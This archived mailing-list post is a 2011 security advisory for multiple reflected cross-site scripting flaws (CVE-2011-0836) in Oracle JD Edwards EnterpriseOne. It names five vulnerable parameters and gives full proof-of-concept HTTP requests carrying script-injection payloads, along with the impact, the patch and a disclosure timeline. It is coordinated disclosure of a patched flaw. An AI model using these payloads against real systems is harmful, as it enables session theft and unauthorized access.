[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[Full-disclosure] Cybsec Advisory 2011 0402 Multiple XSSs in Oracle JD Edwards EnterpriseOne

To: "CYBSEC Labs" <cybseclabs@xxxxxxxxxx>
Subject: [Full-disclosure] Cybsec Advisory 2011 0402 Multiple XSSs in Oracle JD Edwards EnterpriseOne
From: "CYBSEC Labs" <cybseclabs@xxxxxxxxxx>
Date: Wed, 20 Apr 2011 11:33:07 -0300

Advisory Name: Multiple Cross-Site Scripting (XSS) in Oracle JD Edwards 
EnterpriseOne

 

Public Advisory Id: CVE-2011-0836

 

Internal Cybsec Advisory Id: 2011-0402-Multiple XSSs in Oracle JD Edwards 
EnterpriseOne

 

Vulnerability Class: Reflected Cross-Site Scripting (XSS)

 

Release Date: 04/20/2011

 

Affected Applications: Oracle JD Edwards EnterpriseOne v8.12; other versions 
may also be affected.

 

Affected Platforms: Any running Oracle JD Edwards EnterpriseOne

 

Local / Remote:  Remote

 

Severity: Medium - CVSS: 3.5 (AV:N/AC:M/Au:S/C:N/I:P/A:N)

 

Researcher: Juan Manuel Garcia

 

Vendor Status: Patched

 

Reference to Vulnerability Disclosure Policy: 
http://www.cybsec.com/vulnerability_policy.pdf

 

Vulnerability Description:

Multiple Reflected Cross Site Scripting vulnerabilities were found in Oracle JD 
Edwards EnterpriseOne, because the application fails to sanitize user-supplied 
input. The vulnerabilities can be triggered by any logged-in user.

 

At least the following parameters are not properly sanitized:

 

/jde/E1Menu.maf: jdeowpBackButtonProtect

 

/jde/E1Menu_Menu.mafService: e1.namespace

 

/jde/E1Menu_OCL.mafService: e1.namespace

 

/jde/MafletClose.mafService: RENDER_MAFLET

 

/jde/JASMafletMafBrowserClose.mafService: jdemafjasLinkTarget

 

Some Proof of Concepts: 

 

http://XXX.XXX.XXX.XXX/jde/E1Menu.maf

Parameter: jdeowpBackButtonProtect

 

* The GET request has been set to: >'"><script>alert(20639)</script>

/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED&%3E%27%22%3E%3Cscript%3Ealert%2820639%29%3C%2Fscript%3E=123
 HTTP/1.0

Cookie: e1AppState=0:|; advancedState=none; 
JSESSIONID=00002ZzkuqI4ibppzAAcyOOuBnh:14p7umbnp; e1MenuState=100003759|

Accept: */*

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: XXX.XXX.XXX.XXX

 

 

http://XXX.XXX.XXX.XXX/jde/E1Menu_Menu.mafService

Parameter: e1.namespace

 

* The POST request has been set to: %2Balert%2835890%29%2B

 
/jde/E1Menu_Menu.mafService?e1.mode=view&e1.state=maximized&RENDER_MAFLET=E1Menu&e1.service=E1Menu_Menu&e1.namespace=%2Balert%2835890%29%2B
 HTTP/1.0

Cookie: e1AppState=0:|; advancedState=none; 
JSESSIONID=0000b7KChC3OjQct7TOz9U6NMhK:14p7umbnp; e1MenuState=100003759|

Content-Length: 12

Accept: */*

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: XXX.XXX.XXX.XXX

Content-Type: application/x-www-form-urlencoded

Referer: 
http://XXX.XXX.XXX.XXX/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED

 

nodeId=&a=lc

 

 

http://XXX.XXX.XXX.XXX/jde/E1Menu_OCL.mafService

Parameter: e1.namespace

 

* The GET request has been set to: %2Balert%2848981%29%2B

 

/jde/E1Menu_OCL.mafService?e1.mode=view&e1.state=maximized&RENDER_MAFLET=E1Menu&e1.service=E1Menu_OCL&e1.namespace=%2Balert%2848981%29%2B&timestamp=1290796450377
 HTTP/1.0

Cookie: e1AppState=0:|; advancedState=none; 
JSESSIONID=0000xXDQLJurffGMVi6Du_UnL0Z:14p7umbnp; e1MenuState=100003759|

Accept: */*

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: XXX.XXX.XXX.XXX

Referer: 
http://XXX.XXX.XXX.XXX/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED

 

 

http://XXX.XXX.XXX.XXX/jde/MafletClose.mafService

Parameter: RENDER_MAFLET

 

* The GET request has been set to: E1Menu"%2Balert%2844218%29%2B"

 

/jde/MafletClose.mafService?e1.mode=view&e1.state=maximized&RENDER_MAFLET=E1Menu"%2Balert%2844218%29%2B"&e1.service=MafletClose&e1.namespace=
 HTTP/1.0

Cookie: e1AppState=0:|; advancedState=none; 
JSESSIONID=0000FGUGWkc2Y9q-dO3GqshuPVQ:14p7umbnp; e1MenuState=100003759|

Accept: */*

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: XXX.XXX.XXX.XXX

Referer: 
http://XXX.XXX.XXX.XXX/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED

 

* http://XXX.XXX.XXX.XXX/jde/JASMafletMafBrowserClose.mafService

Parameter: jdemafjasLinkTarget

 

* The GET request has been set to: 
E1MENUMAIN_3860308878877903872"%2Balert%28222735%29%2B"

 

/jde/JASMafletMafBrowserClose.mafService?jdemafjasFrom=BrowserClose&e1.mode=view&jdeLoginAction=LOGOUT&e1.state=maximized&jdemafjasLinkTarget=E1MENUMAIN_3860308878877903872"%2Balert%28222735%29%2B"&RENDER_MAFLET=E1Menu&jdemafjasLauncher=PSFT_TE_V3_SW&e1.service=JASMafletMafBrowserClose&e1.namespace=
 HTTP/1.0

Cookie: e1AppState=0:|; advancedState=none; 
JSESSIONID=00003wyVho0_-Ma0fQp67cuqdCs:14p7ulc8o; e1MenuState=100003759|

Accept: */*

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: XXX.XXX.XXX.XXX

Referer: 
http://XXX.XXX.XXX.XXX/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED

 

Impact:

An affected user may unintentionally execute scripts or actions written by an 
attacker. In addition, an

attacker may obtain authorization cookies that would allow him to gain 
unauthorized access to the application.

 

Solution:

Install Oracle Critical Patch Update (CPU) - April 2011

 

Vendor Response:

 

2010/11/30 - Vulnerability was identified.

2010/12/03 - Vendor contacted.

2010/12/06 - Vendor commited to look into these issues.

2010/12/07 - Vendor request more info about the issue.

2010/12/07 - Cybsec sends more info about the issue.

2010/12/08 - Vendor says "We will look into this and get back to you soon".

2010/12/22 - Vendor confirmed vulnerability and informed that is going to send 
monthly updates about this issue till it is resolved.

2011/02/02 - Vendor request the info again and assigned the Tracking # S0024805 
for this issue.

2011/02/04- Vendor request more time to resolve the vulnerability.

2011/02/04- Cybsec informs that the advisory will be published just after the 
publication of the Oracle's April CPU.

2011/04/18 - Vendor informs that the vulnerability is fixed in the upcoming 
Critical

Patch Update (CPU) due to be released on April 19, 2011.

2011/04/19 - Vendor publishes Critical Patch Update (CPU).

2011/04/20 - Vulnerability was released.

 

Contact Information:

 

For more information regarding the vulnerability feel free to contact the 
researcher at 

jmgarcia <at> cybsec <dot> com

 

About CYBSEC S.A. Security Systems 

 

Since 1996, CYBSEC is engaged exclusively in rendering professional services 
specialized in Information Security. Their area of services covers Latin 
America, Spain and over 250 customers are a proof of their professional life.

 

To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is 
associated with other software and/or hardware provider companies. 

 

Our services are strictly focused on Information Security, protecting our 
clients from emerging security threats, maintaining their IT deployments 
available, safe, and reliable. 

 

Beyond professional services, CYBSEC is continuously researching new defense 
and attack techniques and contributing with the security community with high 
quality information exchange. 

 

For more information, please visit www.cybsec.com 

(c) 2011 - CYBSEC S.A. Security Systems

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Prev by Date: [Full-disclosure] Cybsec Advisory 2011 0403 OracleJSP Demos Reflected XSS
Next by Date: [Full-disclosure] XSS on NIC Chile
Previous by thread: [Full-disclosure] Cybsec Advisory 2011 0403 OracleJSP Demos Reflected XSS
Next by thread: [Full-disclosure] XSS on NIC Chile
Index(es):
- Date
- Thread